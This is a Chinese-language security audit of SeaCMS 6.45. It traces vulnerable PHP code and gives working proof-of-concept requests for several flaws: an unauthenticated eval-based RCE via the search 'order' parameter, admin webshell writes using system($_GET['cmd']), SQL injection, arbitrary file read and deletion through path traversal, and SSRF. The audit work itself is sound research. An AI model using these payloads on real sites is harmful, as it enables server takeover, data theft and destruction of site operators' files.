前言:
SeaCMS 是一套專為不同需求的站長(zhǎng)而設(shè)計(jì)的視頻點(diǎn)播系統(tǒng),現(xiàn)在仍在維護(hù)。本次代碼審計(jì)選擇的版本是 SeaCMS 6.45。這不馬上要過年了嘛,提前祝大家新年快樂,恭(紅)喜(包)發(fā)(給)財(cái)(我)啊(快)!

SeaCMS:
-
全局分析:
seacms/include/common.php
//檢查和注冊(cè)外部提交的變量
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
程序禁止GPC變量為系統(tǒng)的全局變量或cfg_配置變量,通過GET、POST、COOKIE方式傳進(jìn)來的參數(shù)都會(huì)調(diào)用_RunMagicQuotes方法使用addslashes函數(shù)進(jìn)行過濾處理,并且將過濾之后的值存入以鍵值對(duì)的鍵為變量名的變量中,這里發(fā)現(xiàn)沒有對(duì)$_SERVER進(jìn)行過濾,存在頭部注入的可能性。
如果上傳文件,會(huì)包含uploadsafe.inc.php文件:

文件上傳全局處理:seacms/include/uploadsafe.inc.php
//這里強(qiáng)制限定的某些文件類型禁止上傳
$cfg_not_allowall = "php|pl|cgi|asp|asa|cer|aspx|jsp|php3|shtm|shtml";
$keyarr = array('name','type','tmp_name','size');
foreach($_FILES as $_key=>$_value)
{
if(!empty(${$_key.'_name'}) && (m_eregi("\.(".$cfg_not_allowall.")$",${$_key.'_name'}) || !m_ereg("\.",${$_key.'_name'})) )
{
exit('Upload filetype not allow !');
}
}
通過黑名單方式禁用了很多文件后綴。
-
前臺(tái)RCE:
漏洞代碼分析:/include\main.class.php
function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
在parseIf方法中,3118行,eval執(zhí)行的語(yǔ)句中存在變量$strIf,若該變量用戶可控,則有可能造成代碼執(zhí)行。接著進(jìn)行逆向跟蹤,先只判斷是否用戶可控。取$iar數(shù)組中的值賦值給$strIf,接著經(jīng)過parseStrIf方法處理。3105行,$iar數(shù)組跟$content相關(guān),接下來追蹤一下parseIf(),尋找調(diào)用這個(gè)方法的文件,找到search.php:
在212行,在函數(shù)echoSearchPage()中,調(diào)用了parseIf()方法
$content=$mainClassObj->parseIf($content);
繼續(xù)追蹤:
if($cfg_iscache){
if(chkFileCache($cacheName)){
$content = getFileCache($cacheName);
}else{
$content = parseSearchPart($searchTemplatePath);
setFileCache($cacheName,$content);
}
$cfg_iscache默認(rèn)為1,$content來自一個(gè)緩存文件,為搜索結(jié)果展示給用戶的 HTML 頁(yè)面,隨后通過$page、$searchword、$TotalResult、$order等參數(shù)對(duì)$concent進(jìn)行內(nèi)容的替換:
$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);
而search.php第一行包含了include/common.php文件,且進(jìn)行了XSS過濾:
foreach($_GET as $k=>$v)
{
$$k=_RunMagicQuotes(gbutf8(RemoveXSS($v)));
$schwhere.= "&$k=".urlencode($$k);
}
我們可以傳入$page、$searchword、$TotalResult、$order等參數(shù),但$page和$TotalResult只能為數(shù)值,只有$order是完全可控的。$order替換的內(nèi)容是{searchpage:ordername},全局搜索發(fā)現(xiàn)只有cascade.html文件有相關(guān)內(nèi)容。
當(dāng)$searchtype==5時(shí),$content的內(nèi)容來自于cascade.html:
if(intval($searchtype)==5)
{
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
$content = parseSearchPart($searchTemplatePath);
接著需要嘗試去構(gòu)造特定的$order來實(shí)現(xiàn)代碼注入,對(duì)parseIf方法進(jìn)一步分析:
if (strpos($content,'{if:')=== false){
return $content;
}
$content必須包含{if,匹配$content的正則為:/{if:(.*?)}(.*?){end if}/is,最終匹配結(jié)果為$iar數(shù)組,其中$iar[0]包含第一次匹配得到的所有匹配(包含子組),$iar[1]和$iar[2]為兩個(gè)匹配子組

$strIf來自$iar[1]
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
嘗試構(gòu)造$order,使得@eval("if(1)phpinfo();if(1){$ifFlag=true;}else{$ifFlag=false;}")
POC:search.php?searchtype=5&searchword=book4yi&order=}{end if}{if:1)phpinfo();if(1}{end if}


-
后臺(tái)RCE:
觸發(fā)點(diǎn)一
漏洞代碼位于:/seacms/admin/admin_ping.php
if($action=="set")
{
$weburl= $_POST['weburl'];
$token = $_POST['token'];
$open=fopen("../data/admin/ping.php","w" );
$str='<?php ';
$str.='$weburl = "';
$str.="$weburl";
$str.='"; ';
$str.='$token = "';
$str.="$token";
$str.='"; ';
$str.=" ?>";
fwrite($open,$str);
fclose($open);
}
當(dāng)POST傳入weburl參數(shù)時(shí),會(huì)調(diào)用之前說的過濾函數(shù),使用addslashes函數(shù)過濾weburl的值,并存入$weburl,也就是說被過濾的是$weburl變量。但是這里直接對(duì)POST傳入的weburl的值存入$weburl變量,相當(dāng)于對(duì)$weburl變量進(jìn)行二次賦值,重新賦值的$weburl變量沒有經(jīng)過任何過濾,直接寫入到ping.php中,造成RCE
POST /admin/admin_ping.php?action=set
weburl=test";system($_GET['cmd']);//&token=123456

- 觸發(fā)點(diǎn)二
漏洞代碼位于:/seacms/admin/admin_config.php
$configfile = sea_DATA.'/config.cache.inc.php';
if($dopost=="save")
{
foreach($_POST as $k=>$v)
{
if(m_ereg("^edit___",$k))
{
if(is_array($$k))
$v = cn_substr(str_replace("'","\'",str_replace("\\","\\\\",stripslashes(implode(',',$$k)))),500);
else
$v = cn_substr(str_replace("'","\'",str_replace("\\","\\\\",stripslashes(${$k}))),500);
}
else
{
continue;
}
$k = m_ereg_replace("^edit___","",$k);
$configstr .="\${$k} = '$v';\r\n";
$fp = fopen($configfile,'w');
flock($fp,3);
fwrite($fp,"<"."?php\r\n");
fwrite($fp,$configstr);
fwrite($fp,"?".">");
fclose($fp);
}
當(dāng)$dopost=="save",首先會(huì)判斷POST傳入的參數(shù)是否以edit___開頭,若不是則跳過當(dāng)前循環(huán)的剩余語(yǔ)句,這里將單引號(hào)和反斜線進(jìn)行了轉(zhuǎn)義處理,最后將從帶有 POST 方法的表單發(fā)送的信息寫入到config.cache.inc.php文件中,這里雖然對(duì)單引號(hào)進(jìn)行了轉(zhuǎn)義處理,但并沒有對(duì)參數(shù)本身進(jìn)行過濾,所以可以構(gòu)造如下數(shù)據(jù)包:
POST /seacms/admin/admin_config.php?dopost=save HTTP/1.1
edit___book4yi;system('ipconfig');//=1

查看文件是否成功寫入惡意代碼:

后面只需要訪問包含該文件的頁(yè)面即可觸發(fā)RCE:

-
后臺(tái)SQL注入:
觸發(fā)點(diǎn)一
漏洞代碼位于:/admin/admin_ajax.php
elseif($action=="checkrepeat")
{
$v_name=iconv('utf-8','utf-8',$_GET["v_name"]);
$row=$dsql->GetOne("select count(*) as dd from sea_data where v_name='$v_name'");
$num=$row['dd'];
if($num==0){echo "ok";}else{echo "err";}
}
此處包含了config.php,config.php又包含了/include/common.php,會(huì)對(duì)通過GET、POST、COOKIE方式傳進(jìn)來的參數(shù)都會(huì)調(diào)用_RunMagicQuotes方法使用addslashes函數(shù)進(jìn)行轉(zhuǎn)義處理,這里同樣是存在二次賦值的問題,最后導(dǎo)致了SQL注入的問題。
POC:admin/admin_ajax.php?action=checkrepeat&v_name=4444444444'+and+extractvalue(1,concat(0x7e,(select+@@version),0x7e))%23

-
后臺(tái)任意文件讀取:
漏洞代碼分析:seacms/admin/admin_collect.php
if($action=="addrule")
{
if($step==2){
if(empty($itemname))
{
ShowMsg("請(qǐng)?zhí)顚懖杉Q!","-1");
exit();
}
include(sea_ADMIN.'/templets/admin_collect_ruleadd2.htm');
seacms/admin/templets/admin_collect_ruleadd2.htm
<textarea id="htmlcode" style="width:99%;height:200px;font-family:Fixedsys" wrap="off" readonly=readonly><?php
$content = !empty($showcode)?@file_get_contents($siteurl):'';
$content = $coding=='gb2312'?gbutf8($content):$content;
if(!$content) echo "讀取URL出錯(cuò)";
echo $showcode;
echo htmlspecialchars($content);
?></textarea>
若!empty($showcode)則該htm文件通過file_get_contents()讀取$siteurl的內(nèi)容,并將其輸出。由于是htm文件,需要找到包含該文件的地方,全局搜索包含admin_collect_ruleadd2.htm的文件,發(fā)現(xiàn)admin_collect_news.php和admin_collect.php都包含了該文件
POC:/admin/admin_collect.php?action=addrule&step=2&id=0&itemname=test123&siteurl=file://c:/windows/win.ini&showcode=1

-
目錄穿越:
在訪問模板管理處,看到了這樣的頁(yè)面:

聞到了目錄穿越的味道,漏洞代碼分析:seacms/admin/admin_template.php
else
{
if(empty($path)) $path=$dirTemplate; else $path=strtolower($path);
if(substr($path,0,11)!=$dirTemplate){
ShowMsg("只允許編輯templets目錄!","admin_template.php");
exit;
}
$flist=getFolderList($path);
include(sea_ADMIN.'/templets/admin_template.htm');
exit();
}
?>
同樣只限制了前11位字符,未作其他限制,辣么就可以瀏覽操作系統(tǒng)中存在哪些文件,然后配合任意文件讀取/刪除造殺傷:

-
后臺(tái)任意文件讀取/任意文件修改:
漏洞代碼分析:seacms/admin/admin_template.php
$dirTemplate="../templets";
if($action=='edit')
{
if(substr(strtolower($filedir),0,11)!=$dirTemplate){
ShowMsg("只允許編輯templets目錄!","admin_template.php");
exit;
}
$filetype=getfileextend($filedir);
if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
{
ShowMsg("操作被禁止!","admin_template.php");
exit;
}
$filename=substr($filedir,strrpos($filedir,'/')+1,strlen($filedir)-1);
$content=loadFile($filedir);
# /include/common.func.php
function loadFile($filePath)
{
if(!file_exists($filePath)){
echo "模版文件讀取失敗!";
exit();
}
$fp = @fopen($filePath,'r');
$sourceString = @fread($fp,filesize($filePath));
@fclose($fp);
return $sourceString;
}
判斷截取了$filedir的前十一個(gè)字符是否為../templets,通過getfileextend函數(shù)獲取后綴名,對(duì)其文件后綴進(jìn)行了白名單限制,最后通過loadFile函數(shù)讀取文件,但只能讀取html、js、txt、css等文件
POC:/admin/admin_template.php?action=edit&filedir=../templets/default/html/block_header.html

-
后臺(tái)任意文件刪除:
觸發(fā)點(diǎn)一
漏洞代碼分析:seacms/admin/admin_database.php
elseif($action=="redat")
{
$bkdir = sea_DATA.'/'.$cfg_backup_dir;
$bakfilesTmp = $bakfiles;
$bakfiles = explode(',',$bakfiles);
$structfile = "seacms_tables_struct_".str_replace("seacms_data_","",$bakfiles[0]);
if($redStruct!='' && file_exists("$bkdir/$structfile"))
{
if($delfile==1)
{
@unlink("$bkdir/$structfile");
}
}
這里并沒有對(duì) . 和 /進(jìn)行過濾,可以通過目錄穿越刪除任意文件:
POC:
/admin/admin_database.php?action=redat&bakfiles=../../test_delete.php,123.txt&delfile=1

- 觸發(fā)點(diǎn)二:
POC:/admin/admin_template.php?action=del&filedir=../templets/../888.txt
elseif($action=='del')
{
if($filedir == '')
{
ShowMsg('未指定要?jiǎng)h除的文件或文件名不合法', '-1');
exit();
}
if(substr(strtolower($filedir),0,11)!=$dirTemplate){
ShowMsg("只允許刪除templets目錄內(nèi)的文件!","admin_template.php");
exit;
}
$folder=substr($filedir,0,strrpos($filedir,'/'));
if(!is_dir($folder)){
ShowMsg("目錄不存在!","admin_template.php");
exit;
}
unlink($filedir);
-
服務(wù)端請(qǐng)求偽造(SSRF)+ URL重定向:
漏洞代碼分析:/admin/admin_reslib.php
$backurl=isset($backurl)?$backurl:"admin_reslib.php";
$var_url=$url;
elseif($action=="select")
{
if(empty($ids))
{
ShowMsg("請(qǐng)選擇采集數(shù)據(jù)","-1");
exit();
}
$a_ids = implode(',',$ids);
if($rid==32)
{
$weburl=$var_url."?s=plus-api-xml-cms-max-vodids-".$a_ids;
}
else
{
$weburl=$var_url.(strpos($var_url,'?')!==false?"&":"?")."ac=videolist&ressite=".$ressite."&ids=".$a_ids;
}
intoDatabase($weburl,"select");
}
繼續(xù)追蹤intoDatabase函數(shù):
function intoDatabase($url,$gtype)
{
global $dsql,$col,$cfg_gatherset,$backurl,$gatherWaitTime,$ressite,$var_url,$action,$isref,$pg;
$content=cget($url,$isref);
function cget($url,$isref){
if($isref=='1'){return getRemoteContent($url);}else{return get($url);}
}
function getRemoteContent($url,$conall=null)
{
$purl = parse_url($url);
$host = $purl['host'];
$path = $purl['path'];
$port = empty($purl['port']) ? 80 : $purl['port'];
if (isset($purl['query']))
$path.='?'.$purl['query'];
$fp = fsockopen($host, $port, $errno, $errstr, 10);
if (!$fp) {
return false;
} else {
$out = "GET $path HTTP/1.1\r\n";
$out.= "Accept: */*\r\n";
$out.= "Accept-Language: zh-cn\r\n";
$out.= "Referer: http://$host\r\n";
$out.= "User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)\r\n";
$out.= "Host: $host\r\n";
$out.= "Connection: Close\r\n";
$out.="\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$con.= fgets($fp, 1024);
}
fclose($fp);
}
if ($conall==null)
{
$tmp = explode("\r\n\r\n",$con,2);
$con = $tmp[1];
}
return $con;
}
POC:/admin/admin_reslib.php?action=select&ids=1,2&url=http://wyy5qnivs98y3um3frsoh0jkhbn1bq.burpcollaborator.net&backurl=https://www.baidu.com

-
服務(wù)端請(qǐng)求偽造(SSRF):
漏洞代碼分析:/admin/admin_webgather.php
else if($action=='gather'){
else if(strpos($url,"youku.com")>0)
{
else{
$pageStr = get($url);
preg_match_all("/\<meta name=\"title\" content=\"(.*?)\"\>/",$pageStr,$title);
preg_match_all("/var videoId = '(\d{3,}?)'/",$pageStr,$guid);
$result = $result.$title[1][0].'$'.$guid[1][0].'$youku';
echo $result;
}
}
# /include/common.func.php
function get($url)
{
return @file_get_contents($url);
}
POC:/admin/admin_webgather.php?action=gather&url=http://192.168.107.129:8000/?id=youku.com
